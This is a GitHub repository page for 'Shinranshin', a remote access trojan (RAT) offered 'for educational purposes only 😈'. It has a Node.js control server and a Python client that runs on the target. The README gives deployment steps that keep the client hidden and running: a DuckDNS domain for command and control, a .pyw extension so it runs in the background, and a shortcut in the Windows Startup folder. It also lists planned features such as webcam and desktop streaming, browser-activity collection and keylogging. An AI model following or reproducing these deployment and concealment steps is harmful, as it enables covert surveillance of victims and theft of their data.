Skip to content

A RAT, script that controls other pcs remotly, for educational purposes only 😈

License

Notifications You must be signed in to change notification settings

ahmed-BH/Shinranshin

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

37 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Shinranshin

A RAT, script that controls other pcs remotly, for educational purposes only 😈 .

Getting Started

This project contains two folders : Server and Target, for admin and the pc to control remotly respectively.

Prerequisites

For educational purposes and experiencing new programming language, the server is developed using NodeJs and the target with Python 3

Installing (Server)

  • Install nodejs

  • Open terminal

$ git clone https://github.com/ahmed-BH/shinranshin.git
$ cd shinranshin/server
$ npm install

To test, run :

$ node app.js

Then open browser http://localhost/

Installing (Target)

  • The target was mainly tested on windows OS, works on other platforms just some features were not tested.

  • Install python-3.6 on target's machine

  • Install needed python modules :

$ cd shinranshin/target
$ pip install -r requirements.txt
  • Download ffmpeg on target's machine in shinranshin/target/deps

  • Add ffmpeg to PATH (windows)

set PATH=%PATH%;full/path/to/shinranshin/target/deps 
  • Target connects to Server through it's @IP, so we need to make @IP dynamic, DuckDNS offers a free and simple way (or any other No-ip service).

  • Follow the instructions to get DuckDns domain, like querty.duckdns.org and then change SOCKSRV variable in settings.py file with that domain.

  • Change script extension .py to .pyw to run in background

  • Create shortcut from python script, then add it to startup folder : C:\Users\ username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Demo

demo

Built With

  • express - The Nodejs web framework used
  • AdminLTE - Bootstrap Control Panel Template
  • ejs - Simple template engine

To Do List

  • Send basic commands, OS related commands
  • Send and receive files
  • Stream Desktop or WebCam
  • Collect System information
  • Collect Browser activity, done but not included yet
  • Clean up web pages
  • Analyse Browser activity
  • Secure communication
  • Recover erased image, still in developping and not included yet
  • Keylogging, done but not included yet
  • Add Home page, only communication page is ready now
  • List installed softwares
  • Some functions work only in windows, adapt them to linux machine

** This project is still under development, more features will be added **

About

A RAT, script that controls other pcs remotly, for educational purposes only 😈

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published